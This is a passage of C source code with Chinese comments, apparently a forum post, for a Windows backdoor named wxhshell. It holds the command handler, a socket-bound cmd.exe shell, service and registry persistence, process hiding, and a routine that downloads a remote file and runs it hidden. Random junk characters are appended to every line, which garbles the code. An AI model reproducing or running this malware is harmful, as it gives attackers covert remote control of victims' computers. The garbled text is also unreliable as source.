  else WxE^S ??|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WC0gJy  
  } 1VXyn\  
  else { ko7*9`  
S<Rl?El<=  
    switch(cmd[0]) { $nf5bo/;  
  p-CBsm5P  
  // 帮助 gC/~@Z8W]  
  case '?': { <t~RGn3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n7EG%q6m+  
    break; NI<;Lm  
  } 5>S=f{ghFw  
  // 安装 7A,QA5G ]C  
  case 'i': { Bm e_#  
    if(Install()) (B/od#nU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?@@BIg-  
    else $4Vpl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q85Y6',  
    break; = n>aJ(=Pd  
    } (7zdbJX  
  // 卸载 'c[|\M!u  
  case 'r': { &gv{LJd5b  
    if(Uninstall()) *m>XtBw.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tMy<MO)Ei  
    else 7>@g)%",  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uo<iZ3J  
    break; 03)R_A  
    } i!nPiac  
  // 显示 wxhshell 所在路径 Sd9%tO9mf  
  case 'p': { n1E^8[~'  
    char svExeFile[MAX_PATH]; 3Yb2p!o  
    strcpy(svExeFile,"\n\r"); L_~vPp  
      strcat(svExeFile,ExeFile); }Ghh%]  
        send(wsh,svExeFile,strlen(svExeFile),0); gK%^}xU+  
    break; mh$Nwr/W:  
    } rzk-_AFR  
  // 重启 Cg]Iz< <bE  
  case 'b': { Q($.s=&l;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vi:<W0:  
    if(Boot(REBOOT)) ~N!-4-~p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zZh\e,*  
    else { #q-7#pp  
    closesocket(wsh); *z3wm-z1&  
    ExitThread(0); ;zpSyyp@  
    } FV];od&c  
    break; wF\5 X  
    } RIg `F#, 3  
  // 关机 2y;J 11\  
  case 'd': { jn:9Cr,o;g  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }b$W+/M\  
    if(Boot(SHUTDOWN)) Ojwhcb^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [m+):q^  
    else { ?z/ )Hkw  
    closesocket(wsh); EWZ?q$  
    ExitThread(0); HuRq0/"  
    } 4r+s" |  
    break; ),%(A~\  
    } 0D Q\akh  
  // 获取shell xn BL{ []  
  case 's': { c 0/vB  
    CmdShell(wsh); cZFG~n/  
    closesocket(wsh); MzP q(`W  
    ExitThread(0); ,T<q"d7-#  
    break; a}#8n^2  
  } *? <ygzX  
  // 退出 =,HxtPJ  
  case 'x': { LagHzCB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O dWZYWj  
    CloseIt(wsh); 9irT}e  
    break; 9cMQ51k)E  
    } BK/~2u  
  // 离开 %c`P`~sp  
  case 'q': { s/cclFji]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w15Qqh lK  
    closesocket(wsh); y2=`NG=  
    WSACleanup(); \]7i-[  
    exit(1); M0$wTmXM  
    break; L';b908r2  
        } $?FA7=_  
  } OMM5p=2Q  
  } :u4q.^&!e  
90rY:!e  
  // 提示信息 )o[Jxu'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]?"1FSu-8r  
} -]$=.0 l  
  } ^U@-Dp,k+  
I4RUXi 5  
  return; 3Y6W)$ Q  
} Ao}J   
3l?-H|T  
// shell模块句柄 2"IsNbWV  
int CmdShell(SOCKET sock) FM=- ^l,  
{ l NhX)D^t  
STARTUPINFO si; %<?U`o@*  
ZeroMemory(&si,sizeof(si)); k'b'Ay(<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FsTl@zN  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;:l>Kac  
PROCESS_INFORMATION ProcessInfo; _ giZ'&l!  
char cmdline[]="cmd"; o+F]80CH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sb,lY<=  
  return 0; JA(M'&q4  
} xmp^`^v*  
'3'*VcL(  
// 自身启动模式 g*a|QBj%  
int StartFromService(void) J*}Qnl+  
{ sY*iRq  
typedef struct j 5{ "j  
{ j$Unw  
  DWORD ExitStatus; !^m,v19Ds<  
  DWORD PebBaseAddress; rV6SN.  
  DWORD AffinityMask; #OE]'k Ss  
  DWORD BasePriority; 5uxB)Dx)  
  ULONG UniqueProcessId; C;BC@OE  
  ULONG InheritedFromUniqueProcessId; KBSO^<7  
}   PROCESS_BASIC_INFORMATION; d4[mR~XXT  
hDAxX= FM  
PROCNTQSIP NtQueryInformationProcess; L-V+`![{  
a-(OAzQ_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kntM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x+B7r& #:  
J3P )oM[  
  HANDLE             hProcess; W]l&mr  
  PROCESS_BASIC_INFORMATION pbi; `zmj iC  
ImZ!8#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (I7s[  
  if(NULL == hInst ) return 0; mYRW/8+g  
Cg4l*"_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); co-dq\P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1GA$nFBVC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bk)*Z/1<x  
F\U^-/0,  
  if (!NtQueryInformationProcess) return 0; o1B8_$aYgc  
<1xs ya[e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C!%\cy%Xj  
  if(!hProcess) return 0; K[/sVaPZ  
I&lb5'6D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t7 ].33%\  
wx2 EMr   
  CloseHandle(hProcess); 8kA2.pIk  
hI Q 2s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~E J+<[/  
if(hProcess==NULL) return 0; KDQqN]rg  
o{n)w6P{R,  
HMODULE hMod; WVa#nU^  
char procName[255]; ljJi|+^$  
unsigned long cbNeeded; yR|Beno  
aUVJ\ ;V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XoZPz  
d=J$H<  
  CloseHandle(hProcess); oMNgyAp^  
,KO_h{mI<  
if(strstr(procName,"services")) return 1; // 以服务启动 VP\'p1a  
"?r=n@Kv  
  return 0; // 注册表启动 Cvk n2T  
} =iZj&B X  
I]dt1iXu_{  
// 主模块 (}jYi*B  
int StartWxhshell(LPSTR lpCmdLine) U0Q:sA U  
{ miCW(mbO8  
  SOCKET wsl; HXY,e$c#y  
BOOL val=TRUE; 6%nKrK  
  int port=0; %%-hax.x0X  
  struct sockaddr_in door; 1_Ag:> #X  
:p6.v>s8  
  if(wscfg.ws_autoins) Install(); /-_<RQ  
Ivdg1X  
port=atoi(lpCmdLine); \8 ~`NF  
PX%Y$`  
if(port<=0) port=wscfg.ws_port; .&R j2d  
/ZcqKC  
  WSADATA data; c/bIt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2S`D7R#6s  
h4\j=Np  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `VB]4i}u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EoOB0zo}Y+  
  door.sin_family = AF_INET; `fA|])3T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &-s/F`  
  door.sin_port = htons(port); X?Yp=%%  
1`;,_>8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5*he  
closesocket(wsl); Q, 1TD 2)h  
return 1; x<-n}VK\  
} equTKM  
8T2iqqG/1  
  if(listen(wsl,2) == INVALID_SOCKET) { kS@6'5U  
closesocket(wsl); _r6aLm2n  
return 1; 8&0+Az"{O  
} >gqd y*Bg  
  Wxhshell(wsl); %%=PpKYtSD  
  WSACleanup(); AlQE;4yX  
$u`v k|\R  
return 0; Ba]J3Yp,z  
uBPxMwohR  
} l-GQ AI8  
@aX$}  
// 以NT服务方式启动 ~SWR|[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^I4/{,Ev  
{ %I&[:  
DWORD   status = 0; ;g M$%!&  
  DWORD   specificError = 0xfffffff; sdWu6?B_  
:mpR}.^hv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !x, ;&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ul41R Ny)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >>'t7 U##  
  serviceStatus.dwWin32ExitCode     = 0; 8LH"j(H  
  serviceStatus.dwServiceSpecificExitCode = 0; _ zh>q4M  
  serviceStatus.dwCheckPoint       = 0; PN$vBFjm  
  serviceStatus.dwWaitHint       = 0; ~sd+ch*  
tk"+PTGJT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &;D(VdSr9  
  if (hServiceStatusHandle==0) return; -X)KY_Xn@/  
kDrqV{_  
status = GetLastError(); >*5+{~k~4  
  if (status!=NO_ERROR) cjd Z.jR2  
{ ns{BU->f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v@6TC1M,  
    serviceStatus.dwCheckPoint       = 0; 8\85Wk{b  
    serviceStatus.dwWaitHint       = 0; : Y{aa1  
    serviceStatus.dwWin32ExitCode     = status; le*1L8n$'  
    serviceStatus.dwServiceSpecificExitCode = specificError; :tv:46+s=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7:Jyu/*]  
    return; 41d,<E  
  } z&"-%l.b@}  
P [.BK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |kUxTe  
  serviceStatus.dwCheckPoint       = 0; d]v4`nc  
  serviceStatus.dwWaitHint       = 0; t:|+U:! >  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s?.A $^t  
} 6+:Tv2  
RawK9K_1  
// 处理NT服务事件,比如:启动、停止 1>doa1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x}w"2[fL  
{ '}`|QJ  
switch(fdwControl) 1lxsj{>U  
{ NbD"O8dL~E  
case SERVICE_CONTROL_STOP: 6Q&*V7EO  
  serviceStatus.dwWin32ExitCode = 0; y5XHJUTu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gZ5E%']sT  
  serviceStatus.dwCheckPoint   = 0; "iCR68e  
  serviceStatus.dwWaitHint     = 0; 0]F'k8yLN  
  { C3H q&TVf/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QFI8|i@  
  } ,C#Mf@b  
  return; ?:Y0#Btj  
case SERVICE_CONTROL_PAUSE: 3lyk/',  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sGf\!w  
  break; iaqhP7!  
case SERVICE_CONTROL_CONTINUE: \LFRu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q/o|uAq  
  break; GP %83T  
case SERVICE_CONTROL_INTERROGATE: nt/+?Sj  
  break; f PoC yl  
}; 0/8rYBV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I 9yN TD  
} h\ (z!7t*  
#xqeCX 4p  
// 标准应用程序主函数 6\MJvg\;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3~e"CKD>  
{ AxaabS$\  
Pez 7HKW:  
// 获取操作系统版本 cT8`l!RD<  
OsIsNt=GetOsVer(); 1PMBo=SUe8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +F &,,s"&  
%!r>]M <  
  // 从命令行安装 #?xhfSgr  
  if(strpbrk(lpCmdLine,"iI")) Install(); RLypWjMx$  
FuOP+r!H  
  // 下载执行文件 Lx-ofN\  
if(wscfg.ws_downexe) { Lp; {&=PIo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c2}?[\U]  
  WinExec(wscfg.ws_filenam,SW_HIDE); ; &2J9  
} n7 RswX  
`?P k~7  
if(!OsIsNt) { Y$%/H"1bk  
// 如果时win9x,隐藏进程并且设置为注册表启动 *E<%db C2  
HideProc(); Ni$WI{e9  
StartWxhshell(lpCmdLine); m6a q_u{W  
} x%ZgLvdp,  
else qll)  
  if(StartFromService()) ,3G8afo  
  // 以服务方式启动 EDR;" G(N  
  StartServiceCtrlDispatcher(DispatchTable); u,:GJU  
else (C#9/WO?  
  // 普通方式启动 {:&t;5qz^  
  StartWxhshell(lpCmdLine); DiK@>$v  
_y}]j;e8>{  
return 0; Azx4+`!-  
}
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只看该作者 1 发表于: 2006-10-10
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